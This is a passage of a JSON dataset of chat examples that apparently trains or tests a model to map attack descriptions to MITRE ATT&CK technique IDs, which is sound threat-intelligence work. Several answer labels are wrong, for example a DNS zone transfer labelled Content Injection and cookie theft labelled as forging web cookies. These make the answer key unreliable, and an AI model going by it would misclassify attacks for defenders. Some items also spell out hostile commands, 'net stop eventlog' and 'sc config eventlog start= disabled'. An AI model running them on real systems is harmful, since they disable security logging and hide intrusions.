                "content": "A post-exploitation tool gathers domain trust data by parsing the registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses the Windows Management Instrumentation (WMI) __EventFilter and __FilterToConsumer objects for persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query the organization's VPN concentrator for its routing tables and connected hosts."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker placed a malicious script in the startup folder, causing the system to run the code indirectly each time a user logs in, without directly invoking the script."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group exploits a default local service account to maintain persistence on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes data staging where files are copied to a temporary directory before being exfiltrated over a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor stores SSH private keys in the Windows registry under HKLM\\SOFTWARE\\SSH\\Keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link to a malicious site; visiting the site triggers a drive‑by attack that drops a keylogger via a browser plugin vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Windows API to duplicate a token from a high‑privilege process and impersonates the SYSTEM account."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs `net localgroup` to list all local groups on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages PowerShell Invoke-WebRequest to download additional modules onto the target."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A C2 payload sends a request to the \"time\" utility on the target machine to capture the system clock."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a signed binary to launch DCSync, extracting domain credentials while evading typical credential dumping detections."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a malicious systemd service file in /etc/systemd/system/ and enables it to achieve persistence on the Linux host."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group harvested service account keys from Azure and enumerated Blob storage containers, downloading confidential backups."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs the Windows service svchost.exe and injects a malicious DLL via the NtCreateThreadEx system call."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting misconfigured WinRM listeners, the intruder remotely executed commands on victim machines across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abused delegation features in Microsoft Teams to grant themselves email delegate permissions on linked Outlook accounts."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan performs a code-signature verification of its own components and self‑destructs if the signatures are missing or tampered with."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor runs the Windows built‑in 'rundll32.exe' with the VaultDll to export credentials from Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the system registry value 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\fipsalgorithmpolicy' to 0, turning off FIPS compliance."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries capture an active RDP session by stealing the authentication token from memory and then reconnect to the remote desktop."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hosts a compromised browser extension that, once installed by the user, executes code to exfiltrate browsing data."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set creates a persistent WinRM listener on port 5985 to receive further instructions from the command server."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leave a compromised USB stick in a public area, hoping an employee will insert it into a workstation, triggering a malicious script."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion begins with a malicious macro that communicates over a DNS query, then escalates to a proprietary binary protocol over TCP for further instructions."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder disables security event logging by changing the audit policy through Group Policy."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker incorporated a base64‑encoded Python script into a macro to bypass detection."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the Server Message Block (SMB) protocol to perform remote code execution via EternalBlue."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder employs automated tools to harvest credentials from publicly available Dockerfiles on GitHub."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a DNS zone transfer to enumerate subdomains and host records."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in the Print Processor directory and registered via the Windows Registry to execute on logon."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a rootkit to issue low-level ATA commands that trigger a full disk wipe."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script calls GetUserNameW API to obtain the name of the user currently logged into the workstation."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group exfiltrates data by syncing it with a malicious SharePoint site using the victim’s OAuth token."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group encoded a ransomware payload in the EXIF data of JPEG photographs shared via email."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fast-flux DNS tactics are used to make blacklisting ineffective, as the malicious domain's IPs change continuously."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Windows Time Provider mechanism to load a malicious executable at logon."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team simulated an attack by using msiexec.exe with the /repair flag on a legitimate MSI to execute embedded malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queried public DNS records to map internal hostnames and IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the PubPrn printer driver registration mechanism to install a malicious driver, which then executes a payload during normal print operations."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses System Script Proxy Execution through PubPrn to run PowerShell commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat groups issue WHOIS lookups to extract the domain's name servers and associated IP addresses for further reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a privileged kernel extension, the malware reads the encrypted Keychain file directly from disk, then decrypts it to obtain credential data."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls dcomcnfg.exe, a Control Panel binary, to register a malicious COM object that runs a payload on startup."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query public GitHub repositories for hard‑coded API keys and credentials."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accessed the Group Policy Management Console remotely and altered the \"User Rights Assignment\" to grant the \"SeRemoteInteractiveLogonRight\" to a newly created service account."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script gathers system event logs and compresses them for upload."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware hides its exfiltrated data by compressing it with GZIP and then applying a simple Caesar cipher."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies infrastructure-as-code templates stored in a repository, causing future deployments to include malicious components."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installs a keylogger to capture email client login details and subsequently harvests the victim's inbox via POP3."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit utilizes a port knocking approach: an initial SYN to port 1337, followed by 7331 and 31337, which then activates a dormant backdoor listening on port 9000."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leads to the execution of a tool that scrapes confidential reports from an internal wiki."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries stage data in a cloud-synced folder, preparing to sync the collected files to their own storage."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the command 'net stop eventlog' followed by 'sc config eventlog start= disabled' to impair logging."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script sets the Windows Defender real-time protection registry value to 0, effectively disabling the antivirus."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy intrusion leverages Verclsid to proxy the execution of a backdoor, taking advantage of its trusted status on Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infection, the threat actor places base64‑encoded credential strings in the registry path HKCU\\Software\\MyApp\\Credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code installs a systemd service that runs under a disguised name to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromises a privileged account, retrieves the KRBTGT password, and builds a Golden Ticket to impersonate high‑value accounts."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension reads the user's cookies for a social media site and transmits them to an external server for account takeover."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious binary overwrites the Linux VDSO page to redirect syscalls and gain code execution within a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a publicly exposed serverless endpoint to execute denial‑of‑service attacks against the backend."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised service reads credentials from a Windows INI file and writes them to a log file that is later stolen."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors obtained control of a third‑party web service and leveraged it to host phishing pages."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a staged payload: initial communication via ICMP echo requests, followed by a second-stage connection over TCP port 443 to transmit stolen files."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal sets up a Bitcoin mining server on a compromised VPS to launder cryptocurrency."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly triggers login prompts on the victim's machine, coercing the user into entering valid credentials to proceed."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script leverages the Windows API function NetUserEnum to retrieve a list of user accounts on the system."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a Google Cloud Functions instance to host their payload, effectively acquiring serverless resources."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the Pre-OS boot process by delivering a custom bootloader through TFTP, establishing foothold before OS launch."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators exploited a legitimate remote management tool, LogMeIn, to execute commands on the target."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries accessed the Linux /etc/ssh/sshd_config file to harvest SSH configuration parameters for later use."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising a CI/CD pipeline, the attacker steals the GitHub personal access tokens stored in environment variables."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables syslog and removes its log files to prevent detection on a Mac machine."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scripts a loop that repeatedly calls the MFA endpoint, sending numerous authentication prompts to the target's registered hardware token."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
